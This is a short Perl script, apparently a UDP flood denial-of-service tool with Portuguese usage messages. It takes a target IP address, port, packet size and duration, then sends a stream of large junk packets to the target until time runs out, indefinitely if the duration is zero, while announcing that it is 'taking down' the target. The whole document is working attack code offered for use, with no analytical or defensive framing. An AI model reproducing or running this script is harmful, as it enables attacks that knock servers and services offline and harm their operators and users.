Perl Udp

#! /usr/bin/perl
use Socket;
use strict;


if ($#ARGV != 3) {
  print "------------------------------------------------------\n\n\n";
  print " net.pl (ip) (porta) (tamanho do pacote) (tempo)\n\n";
  print " port=0: Ataca randomicamente\n";
  print " size=0: Use pacotes aleatorios entre 64 e 1024\n";
  print " time=0: Ataque eterno\n\n\n";
  print "Nexamos";
  print "------------------------------------------------------\n";
  exit(1);
}


my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Offline $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);


  system("cls");
  print "[INFO] Derrubando $ip\n";
  print "[INFO] Porta: $port\n";
  print "[INFO] Tamanho: $size\n";
  print "[INFO] Tempo: $time\n";
  print "Ataque encerra com Ctrl + c\n\n\n" unless $time;



for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","saf3e368wumu7repa4uxa2rucHaphubeGamu9R3373af8Us3eTHUgepRAfAS2c6CHAyegURepUbre94wRAwruS2uhU8UXasp7spasw7sw8h7wapr5spabekumu8ast8StRadusASacu6a6e5efrAzeWucH5cumuswaraca7hAbrewrecujetrafefadrawruW4ayAjU37sPUseBr4cRuPhacrUtrf0azrrQlLd1xdSjjtdwXfjyXArkExrVxVlulxssmr0u0lRscLAqjkZB43ajPRmAH4JQ6T1SOZPFmndbEi4IUOIuUmPCXI044f73uGIeJHs8lh36KpJausXqykL2idPx1j120Rra2DI1kmGgde5LI4TJMuQvrotBR3Fli0g1uwt74ALKfRzHYZJR0wkqNncUY178LcbTFtx5n7MF4zX3P4Z3mUVkAebkXqDv6EETKTNBes9kW2QBEBLeKcBH4cUAQ8Y30mdGozVRNJq3wtDMmgtzCibqXEEp3cZATTOMqIDxn3t5HYdspEofPneXpPTUE0TBN8oRAp4DjSlhfDAVmfNgbdSbTHWT7Y7gVi6kgrNXKCM64V4kOGvesVr0SZU3k83r6qAr3w4d26kurU9eBRa53cEtRaQaCHEvacu4PETRaf3yepHAk9FAgU2at8GEMEZAwUjaDesTufu2r3DaPhedR7quCru7reketc8atacAStuGeFruNuTHaWuspabr6drARa4r4cApRewuFRaD3qAXAsPeMAChudRUWxuq73R5dra8epre4tasp8craq677wru5asuq3tradede8rethuSwAfespastuduypUt2fudra5utanewrat83rucruyuje6aphuprUWawrawr4tha922HeSpU8acacu5hastuprecevasteberepagas6ejuje2heswugukerebrajeVeswerajAdagecah3phE9EsutaFrU6erathu2u6utraseCrEjehaChuphEchepeswutrezu86pret6afa"), 0, pack_sockaddr_in($pport, $iaddr));}